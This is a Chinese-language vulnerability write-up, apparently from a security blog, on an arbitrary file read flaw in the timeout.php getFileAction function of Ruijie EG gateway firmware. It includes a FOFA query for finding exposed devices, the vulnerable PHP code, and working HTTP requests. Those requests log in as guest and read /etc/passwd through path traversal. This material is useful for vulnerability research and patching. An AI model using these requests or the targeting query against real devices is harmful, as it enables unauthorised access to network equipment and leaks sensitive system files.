锐捷-EWEB timeout.php 文件读取漏洞


漏洞简介

锐捷EG易网关是一款综合网关,由锐捷网络完全自主研发。它集成了先进的软硬件体系架构,配备了DPI深入分析引擎、行为分析/管理引擎,可以在保证网络出口高效转发的条件下,提供专业的流控功能、出色的URL过滤以及本地化的日志存储/审计服务。锐捷EG易网关 timeout.php 的 getFileAction 存在 任意文件读取漏洞,攻击者可以利用该漏洞读取设备上任意文件内容,造成敏感信息泄露。

影响版本

<=2022.07.28.01

fofa语法

title="锐捷网络-EWEB网管系统" || app="Ruijie-EG易网关" && body="/login.php?a=version"

漏洞分析

看下 timeout.php 关键业务 getFileAction 逻辑的实现

function getFileAction(){
    $fileName = p("fileName");
    $config = @file_get_contents(DS . "data" . DS . $fileName);    //获取web配置信息
    $config = iconv('GBK//IGNORE', 'UTF-8', $config);
    if ($config == false) {
        $config = '';
    }
    json_echo($config);
}

getFileAction 接收一个 fileName 参数,将其直接拼接到 file_get_contents 函数的 $filename

部分读取,无任何过滤或校验,因此造成任意文件读取漏洞。

漏洞复现

获取cookie

POST /ddi/server/login.php HTTP/1.1
Host: ruijieweb.mrxn.net
Content-Type: application/x-www-form-urlencoded

username=guest&password=guest?

读取文件

POST /system_pi/timeout.php?a=getFile HTTP/1.1
Host: ruijieweb.mrxn.net
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID=xxxxxxxxxxl855hve3xxxxxxxx
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

fileName=../etc/passwd

成功读取到 /etc/passwd 内容


手机扫码阅读

用友NC portalpage/importPml sql注入漏洞

用友NC pkevalset SQL注入漏洞

评 论